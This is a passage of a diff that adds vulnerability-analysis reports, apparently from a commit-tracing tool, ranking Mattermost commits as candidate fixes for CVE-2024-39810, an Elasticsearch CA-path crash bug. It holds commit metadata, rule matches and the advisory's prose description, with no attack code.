    • + + webapp/channels/src/components/common/back_button.tsx + + webapp/channels/src/components/custom_status/custom_status_text.tsx + + webapp/channels/src/components/custom_status/expiry_time.tsx + + webapp/channels/src/components/emoji/render_emoji.tsx + + webapp/channels/src/components/error_page/error_link.tsx + + webapp/channels/src/components/file_preview_modal/file_preview_modal_main_actions/file_preview_modal_main_actions.tsx + + webapp/channels/src/components/overlay_trigger.tsx + + webapp/channels/src/components/purchase_modal/icon_message.tsx + + webapp/channels/src/components/search/search.tsx + + webapp/channels/src/components/search_bar/search_bar.tsx + + webapp/channels/src/components/search_results/search_results.tsx + + webapp/channels/src/components/sidebar/sidebar_category/sidebar_category.tsx + + webapp/channels/src/components/sidebar/sidebar_category_header.tsx + + webapp/channels/src/components/sidebar/unread_channel_indicator/unread_channel_indicator.tsx + + webapp/channels/src/components/widgets/admin_console/admin_panel_togglable.tsx + + webapp/channels/src/components/widgets/admin_console/admin_panel_with_button.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Force React version to 18 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + f7b12d39c0e0778d72576026136de7f351fc9a1a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Force React version to 18
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/package.json + + webapp/package-lock.json + + webapp/package.json + + webapp/platform/components/package.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update npm packages versions for release-9.11 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + b02b97eeb03b6d87e06ac8c6417e6c740d0ef17f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: version
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update npm packages versions for release-9.11
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/package.json + + webapp/package-lock.json + + webapp/platform/client/package.json + + webapp/platform/types/package.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Ignore performance counts if notifications are blocked by the device + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 2afc122ff72c0524b58367243a74aa53a74a72c2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: system
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Ignore performance counts if notifications are blocked by the device
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/system.go + + server/channels/api4/user.go + + server/channels/app/app_iface.go + + server/channels/app/notification_push.go + + server/channels/app/opentracing/opentracing_layer.go + + server/channels/app/session.go + + server/public/model/session.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + lint + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 573810805593673c5636f47dadc0878ede14adda +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      lint
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/packages/mattermost-redux/src/reducers/entities/posts.test.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + fix searchlayer stuff + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + af35818df97005efd3dd6e38266696d6f7e2e800 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: file, test
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      fix searchlayer stuff
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/file.go + + server/channels/store/searchlayer/file_info_layer.go + + server/channels/store/searchlayer/post_layer.go + + server/channels/store/searchtest/file_info_layer.go + + server/channels/store/searchtest/post_layer.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58527 - Fixing overflow issue for autocomplete (#27479) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + c0a7a19294f10133a23fa0301971b2a8037bb4b7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27479
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58527 - Fixing overflow issue for autocomplete (#27479) * MM-58527 - Fixing overflow issue for autocomplete * MM-58527 - Fixing overflow issue on autocomplete
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/widgets/header/header.scss + + webapp/channels/src/sass/base/_structure.scss + + webapp/channels/src/sass/components/_post.scss + + webapp/channels/src/sass/layout/_content.scss + + webapp/channels/src/sass/layout/_headers.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-59404 Stop automatically dismissing desktop notifications (#27627) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0227ac0fc19173b520aa74febcf53715c29d4393 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27627
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-59404 Stop automatically dismissing desktop notifications (#27627)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/utils/constants.tsx + + webapp/channels/src/utils/notifications.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-55215] Remove deprecated LdapSettings.Trace (#27376) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a4bdb65037a9135b5ec6a95d8718a5f21cf4eb9c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27376
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-55215] Remove deprecated LdapSettings.Trace (#27376)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/config.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-54856: Place emoji at cursor position while editing message... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9bb22a369a57ce8633f1ab4689f2dafc59a09fcb +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27418
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-54856: Place emoji at cursor position while editing message (#27418) * MM-54856: fix issue with emoji position in edit post editor * use useRef instead of useState --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/edit_post/edit_post.tsx + + webapp/channels/src/components/suggestion/suggestion_box/suggestion_box.jsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-56655] Remove deprecated Config.ProductSettings (#27375) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7434b524afb935118bec506929612b3af67841c9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27375
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-56655] Remove deprecated Config.ProductSettings (#27375)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/config.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [fix] ci container image scanning (#27631) Fixup on... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 22604d45921dea97939c358a9d18878167a0fa2a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27631
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [fix] ci container image scanning (#27631) Fixup on https://github.com/mattermost/mattermost/pull/27624 Exposing the tag variable to be used in the scanning step. Ticket: https://mattermost.atlassian.net/browse/CLD-8041 Signed-off-by: Akis Maziotis <akis.maziotis@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/server-ci-artifacts.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove dup stylelint depdendencies in webapp/channels (#27499) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6010ff55218e97c1d7c44c4f90a59d9f2320305f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27499
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove dup stylelint depdendencies in webapp/channels (#27499)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/package.json + + webapp/package-lock.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58856] Migrate tooltips of "components/copy_button.tsx" to... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d939c1bd464780d7be4912510e25f9791d3b3aae +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27433
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58856] Migrate tooltips of "components/copy_button.tsx" to WithTooltip (#27433)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/copy_button.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Translations update from Mattermost Weblate (#27507) * Translated... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 35dda81e32b48d5317eb7b6aa6272b5d4b08d4a9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27507
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Translations update from Mattermost Weblate (#27507) * Translated using Weblate (German) Currently translated at 100.0% (2510 of 2510 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/de/ * Translated using Weblate (German) Currently translated at 100.0% (5775 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/de/ * Translated using Weblate (Polish) Currently translated at 100.0% (2510 of 2510 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/pl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5775 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Dutch) Currently translated at 99.9% (5771 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nl/ * Translated using Weblate (Serbian) Currently translated at 10.5% (611 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/sr/ * Translated using Weblate (Norwegian Bokmål) Currently translated at 6.3% (369 of 5775 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nb_NO/ * Translated using Weblate (German) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/de/ --------- Co-authored-by: jprusch <rs@schaeferbarthold.de> Co-authored-by: master7 <marcin.karkosz@rajska.info> Co-authored-by: Tom De Moor <tom@controlaltdieliet.be> Co-authored-by: homerCOD <anicin.goran@gmail.com> Co-authored-by: Frank Paul Silye <frankps@uio.no>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/i18n/de.json + + server/i18n/pl.json + + webapp/channels/src/i18n/de.json + + webapp/channels/src/i18n/nb-NO.json + + webapp/channels/src/i18n/nl.json + + webapp/channels/src/i18n/pl.json + + webapp/channels/src/i18n/sr.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + removed offending line that hid threads view on mobile (#27428)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: v9.9.2 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5231f780b46090818a42a21c04cdf41dc072e7ec +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27428, 27528
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      removed offending line that hid threads view on mobile (#27428) (#27528) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/threading/global_threads/global_threads.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + fix panic in migrations (#27494) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1f9c9486b882f8d2f7424a821e27ac30bee36098 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27494
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      fix panic in migrations (#27494)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/migrations.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + chore: update package metadata for API reference (#27462) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6bfd309573e64e710b4b7175b84149303c517909 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 27462
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      chore: update package metadata for API reference (#27462)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/package.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Make some changes to remove findDOMNode from React Bootstrap + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 3b6608220b8105e0129eb596118ebdfafc3e49ec +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Make some changes to remove findDOMNode from React Bootstrap
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/plugins/channel_header_plug/channel_header_plug.tsx + + webapp/platform/components/src/generic_modal/generic_modal.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Switch ReactDOM.render to createRoot + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 1ebad56255577a996cb852543baaaa3e6e3d06e9 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Switch ReactDOM.render to createRoot
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/entry.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Disable legacy-peer-deps and manually override mismatched dependencies + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + b9fc83b5038c1a4fe817aac8140e63ac9f3d3b13 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Disable legacy-peer-deps and manually override mismatched dependencies
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/.npmrc + + webapp/package-lock.json + + webapp/package.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge remote-tracking branch 'upstream/master' into MM-56077 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 92e960ae63b82131c509c69fe5d40be4c709a871 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge remote-tracking branch 'upstream/master' into MM-56077
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'master' into MM-56073 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 139e63a77a189e0217682e99628c931d4bc54a42 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'master' into MM-56073
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'master' into poc-actions-rpc + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + a1fd7bc1566e55a5a072b118ee8e7cfe90aeb630 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'master' into poc-actions-rpc
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + fix config type + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 4473e25d7a1486678826002ba4c0aa8cd35d0487 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      fix config type
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/platform/types/src/config.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + do not remove post message content for websocket events, needed for mentions + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + c8d112111fa9034765337d237343b46bb056dece +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      do not remove post message content for websocket events, needed for mentions
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/post.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + i18n + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + af663753a3b18bb6d63b863048d7a22f7413c5e5 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      i18n
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/i18n/en.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'MM-56073' of github.com:BenCookie95/mattermost-server... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 193d8802038fc42eba007ec78657207ba28010f6 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'MM-56073' of github.com:BenCookie95/mattermost-server into MM-56073
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge branch 'master' into MM-56073 + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 3a49edd6038985fdf3f521faeb66556938e6f5cc +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Merge branch 'master' into MM-56073
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Example of logging client performance events above threshold + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + cada18f5bac07705cce9845b1758e46cfe0a6ad2 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Example of logging client performance events above threshold
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/metrics.go + + server/public/model/config.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Updaetd user report API permission + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 7d2a99936cd77a63474b2171c299a42b878398ad +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Updaetd user report API permission
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/report.go + +
    • +
    + + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json b/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json new file mode 100644 index 000000000..11718a745 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-39810_08be8d94-00cf-4453-81ef-4d48d7ebf7ec.json @@ -0,0 +1,5841 @@ +{ + "parameters": { + "vulnerability_id": "CVE-2024-39810", + "repository_url": "https://github.com/elastic/elasticsearch", + "version_interval": "9.10.0:9.10.1", + "use_backend": "always", + "backend_address": "http://backend:8000", + "git_cache": "/data/gitcache", + "limit_candidates": 2000, + "use_llm_repository_url": true, + "enabled_rules": [ + "VULN_ID_IN_MESSAGE", + "XREF_BUG", + "XREF_GH", + "COMMIT_IN_REFERENCE", + "VULN_ID_IN_LINKED_ISSUE", + "CHANGES_RELEVANT_FILES", + "CHANGES_RELEVANT_CODE", + "RELEVANT_WORDS_IN_MESSAGE", + "ADV_KEYWORDS_IN_FILES", + "ADV_KEYWORDS_IN_MSG", + "SEC_KEYWORDS_IN_MESSAGE", + "SEC_KEYWORDS_IN_LINKED_GH", + "SEC_KEYWORDS_IN_LINKED_BUG", + "GITHUB_ISSUE_IN_MESSAGE", + "BUG_IN_MESSAGE", + "COMMIT_HAS_TWINS", + "COMMIT_IS_SECURITY_RELEVANT" + ] + }, + "advisory_record": { + "cve_id": "CVE-2024-39810", + "description": "Mattermost versions 9.5.x <= 9.5.7 and 9.10.x <= 9.10.0 fail to time limit and size limit the CA path file in the ElasticSearch configuration which allows a System Role with access to the Elasticsearch system console to add any file as a CA path field, such as /dev/zero and, after testing the connection, cause the application to crash.", + "reserved_timestamp": 1724170175, + "published_timestamp": 1724308211, + "updated_timestamp": 1724331492, + "repository_url": null, + "references": { + "https://mattermost.com/security-updates": 2 + }, + "affected_products": [ + "Role", + "Mattermost", + "System", + "Elasticsearch", + "ElasticSearch" + ], + "versions": { + "lessThanOrEqual": "9.5.7", + "status": "affected", + "version": "9.5.0", + "versionType": "semver" + }, + "files": [ + "ElasticSearch" + ], + "keywords": [ + "time", + "connection", + "role", + "elasticsearch", + "configuration", + "console", + "path", + "fail", + "cause", + "test", + "limit", + "version", + "size", + "field", + "allow", + "access", + "application", + "crash", + "file", + "system" + ], + "files_extension": [], + "has_fixing_commit": false + }, + "commits": [ + { + "commit_id": "177389d224aadf27e45b84990f75eda707b39779", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720683811, + "hunks": 50, + "message": "MM-53962: Adding ES8 dependency (#24399) * Adding ES8 dependency ```release-note NONE ``` Co-authored-by: Mattermost Build ", + "changed_files": [ + "e2e-tests/.ci/server.generate.sh", + "e2e-tests/playwright/support/server/default_config.ts", + "server/build/Dockerfile.opensearch", + "server/build/docker-compose-generator/main.go", + "server/build/docker-compose.common.yml", + "server/build/docker-compose.yml", + "server/channels/jobs/jobs.go", + "server/cmd/mmctl/commands/enterprise.go", + "server/docker-compose.makefile.m1.yml", + "server/docker-compose.makefile.yml", + "server/docker-compose.yaml", + "server/go.mod", + "server/go.sum", + "server/i18n/en.json", + "server/public/model/builtin.go", + "server/public/model/config.go", + "server/tests/test-config.json", + "webapp/channels/src/components/admin_console/__snapshots__/elasticsearch_settings.test.tsx.snap", + "webapp/channels/src/components/admin_console/elasticsearch_settings.tsx", + "webapp/channels/src/i18n/en.json", + "webapp/platform/types/src/config.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "24399": "Support for OpenSearch & Elasticsearch v8 & new backend config setting mattermost/docs#7338" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: ElasticSearch", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: webapp/channels/src/components/admin_console/__snapshots__/elasticsearch_settings.test.tsx.snap, webapp/channels/src/components/admin_console/elasticsearch_settings.tsx", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: elasticsearch, console, file, test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 24399", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "ea6490a5eb764f5c032c2cdc59a3a754a94481f6", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721151587, + "hunks": 7, + "message": "MM-58847 Sanitize User (#27471) * add more fields to sanitizeInput on User * add test for user sanoitizeInput * add more fields * remove line, lint fix * additional fields and sanitize update * Update user_test.go * remove fields that are unnecessary to check * add check to test --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "api/v4/source/users.yaml", + "server/channels/api4/user_test.go", + "server/public/model/user.go", + "server/public/model/user_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27471": "Automated cherry pick of #27471 #27682 Automated cherry pick of #27471 #27683 Automated cherry pick of #27471 #27684 Automated 